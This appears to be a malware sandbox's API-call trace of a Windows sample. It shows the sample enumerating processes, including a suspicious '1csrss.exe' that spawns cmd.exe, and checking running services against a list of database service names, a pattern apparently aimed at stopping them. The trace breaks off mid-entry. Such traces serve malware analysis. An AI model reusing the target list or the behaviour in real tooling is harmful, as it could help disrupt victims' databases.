Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0279.808] lstrlenW (lpString="spoolsv.exe") returned 11 [0279.808] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0279.809] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0279.809] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0279.809] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0279.809] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0279.810] lstrlenW (lpString="Memory Compression") returned 18 [0279.936] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.937] lstrlenW (lpString="svchost.exe") returned 11 [0279.937] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0279.938] lstrlenW (lpString="audiodg.exe") returned 11 [0279.938] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0279.939] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0279.939] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0279.940] lstrlenW (lpString="sihost.exe") returned 10 [0279.940] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.940] lstrlenW (lpString="svchost.exe") returned 11 [0279.940] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0279.941] lstrlenW (lpString="taskhostw.exe") returned 13 [0279.941] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0279.942] lstrlenW (lpString="msoia.exe") returned 9 [0279.942] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0279.942] lstrlenW (lpString="explorer.exe") returned 12 [0279.942] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0279.943] lstrlenW (lpString="SearchUI.exe") returned 12 [0279.943] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0279.944] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0279.944] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0279.944] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0279.944] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0279.945] lstrlenW (lpString="1csrss.exe") returned 10 [0279.945] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.946] lstrlenW (lpString="svchost.exe") returned 11 [0279.946] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0279.946] lstrlenW (lpString="cmd.exe") returned 7 [0279.946] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0279.947] lstrlenW (lpString="conhost.exe") returned 11 [0279.947] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0279.948] lstrlenW (lpString="mode.com") returned 8 [0279.948] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0279.948] CloseHandle (hObject=0x3f8) returned 1 [0279.948] Sleep (dwMilliseconds=0x1f4) [0280.452] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddf98 [0280.452] EnumServicesStatusExW (in: hSCManager=0x7ddf98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0280.452] GetLastError () returned 0xea [0280.452] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1ca4) returned 0x7d5978 [0280.452] EnumServicesStatusExW (in: hSCManager=0x7ddf98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7d5978, cbBufSize=0x1ca4, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7d5978, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0280.453] CloseServiceHandle (hSCObject=0x7ddf98) returned 1 [0280.453] lstrlenW (lpString="AppXSvc") returned 7 [0280.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0280.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0280.453] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0280.453] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0280.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0280.453] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0280.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0280.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0280.454] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0280.454] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0280.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0280.454] lstrlenW (lpString="Audiosrv") returned 8 [0280.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0280.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0280.454] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0280.454] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0280.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0280.454] lstrlenW (lpString="BFE") returned 3 [0280.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0280.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0280.454] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0280.454] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0280.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0280.454] lstrlenW (lpString="BITS") returned 4 [0280.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0280.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0280.454] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0280.454] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0280.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0280.454] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0280.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0280.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0280.454] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0280.454] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0280.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0280.455] lstrlenW (lpString="CDPSvc") returned 6 [0280.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0280.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0280.455] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0280.455] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0280.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0280.455] lstrlenW (lpString="ClickToRunSvc") returned 13 [0280.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0280.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0280.455] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0280.455] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0280.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0280.455] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0280.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0280.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0280.455] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0280.455] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0280.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0280.455] lstrlenW (lpString="CryptSvc") returned 8 [0280.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0280.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0280.455] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0280.455] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0280.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0280.455] lstrlenW (lpString="DcomLaunch") returned 10 [0280.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0280.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0280.455] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0280.455] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0280.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0280.455] lstrlenW (lpString="DeviceAssociationService") returned 24 [0280.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0280.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0280.456] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0280.456] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0280.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0280.456] lstrlenW (lpString="Dhcp") returned 4 [0280.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0280.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0280.456] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0280.456] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0280.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0280.456] lstrlenW (lpString="Dnscache") returned 8 [0280.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0280.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0280.456] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0280.456] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0280.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0280.456] lstrlenW (lpString="DPS") returned 3 [0280.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0280.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0280.456] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0280.456] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0280.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0280.456] lstrlenW (lpString="DusmSvc") returned 7 [0280.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0280.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0280.456] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0280.456] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0280.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0280.456] lstrlenW (lpString="EventLog") returned 8 [0280.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0280.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0280.456] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0280.456] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0280.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0280.457] lstrlenW (lpString="EventSystem") returned 11 [0280.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0280.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0280.457] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0280.457] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0280.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0280.457] lstrlenW (lpString="FontCache") returned 9 [0280.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0280.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0280.457] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0280.457] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0280.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0280.457] lstrlenW (lpString="gpsvc") returned 5 [0280.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0280.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0280.457] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0280.457] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0280.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0280.457] lstrlenW (lpString="iphlpsvc") returned 8 [0280.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0280.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0280.457] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0280.457] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0280.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0280.457] lstrlenW (lpString="KeyIso") returned 6 [0280.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0280.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0280.457] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0280.457] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0280.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0280.457] lstrlenW (lpString="LanmanServer") returned 12 [0280.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0280.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0280.458] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0280.458] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0280.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0280.458] lstrlenW (lpString="LanmanWorkstation") returned 17 [0280.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0280.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0280.458] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0280.458] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0280.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0280.458] lstrlenW (lpString="lfsvc") returned 5 [0280.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0280.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0280.458] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0280.458] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0280.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0280.458] lstrlenW (lpString="lmhosts") returned 7 [0280.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0280.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0280.458] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0280.458] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0280.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0280.458] lstrlenW (lpString="LSM") returned 3 [0280.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0280.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0280.458] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0280.458] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0280.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0280.458] lstrlenW (lpString="MpsSvc") returned 6 [0280.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0280.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0280.458] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0280.458] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0280.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0280.459] lstrlenW (lpString="NcbService") returned 10 [0280.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0280.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0280.459] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0280.459] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0280.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0280.459] lstrlenW (lpString="netprofm") returned 8 [0280.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0280.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0280.459] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0280.459] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0280.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0280.459] lstrlenW (lpString="NgcSvc") returned 6 [0280.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0280.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0280.459] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0280.459] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0280.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0280.459] lstrlenW (lpString="NlaSvc") returned 6 [0280.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0280.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0280.459] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0280.459] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0280.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0280.459] lstrlenW (lpString="nsi") returned 3 [0280.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0280.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0280.459] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0280.459] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0280.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0280.459] lstrlenW (lpString="PcaSvc") returned 6 [0280.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0280.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0280.460] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0280.460] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0280.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0280.460] lstrlenW (lpString="PlugPlay") returned 8 [0280.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0280.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0280.460] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0280.460] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0280.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0280.460] lstrlenW (lpString="Power") returned 5 [0280.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0280.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0280.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0280.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0280.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0280.460] lstrlenW (lpString="ProfSvc") returned 7 [0280.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0280.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0280.460] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0280.460] lstrcmpiW 